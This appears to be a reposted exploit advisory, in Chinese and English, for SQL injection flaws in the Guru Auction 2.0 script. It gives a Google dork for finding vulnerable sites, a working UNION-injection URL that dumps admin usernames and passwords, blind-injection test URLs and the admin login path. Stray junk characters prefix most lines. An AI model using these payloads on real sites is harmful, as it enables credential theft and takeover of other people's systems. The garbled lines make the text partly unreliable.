Guru Auction 2.0多重sql注射

admin

Guru Auction 2.0 Multiple SQL Injection Vulnerabilities

+ }- Y$ @- ?. m( C6 ]作者     : v3n0m
应用 : Guru Auction 2.0
* g4 ^  y  l1 QPrice       : $49
, t# P6 i* Y/ D: Z3 J8 Q4 OVendor      : http://www.guruscript.com/
, x& K) j# c8 T# ?' [  Z( ^Google Dork : inurl:subcat.php?cate_id=
$ s( @/ A# }+ f# L! }
SQLi p0c:
) C7 k7 g6 V, A: _/ _; [5 i1 M  a~~~~~~~~~~
- F! l1 O; w2 chttp://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--

! d$ E/ g. y" @; j; s6 v0 [
0 C6 |2 }; @* m+ U* A0 u盲注 p0c:
6 F/ f) c1 L# `. }~~~~~~~~~~
http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
* j' y( H% V- \; ~http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false
8 D$ `; q( h, H
. l: ~  n5 d& U4 P管理登录入口:
~~~~~~~~~~
http://domain.tld/[path]/admin/
; `" y8 Z8 a& _' P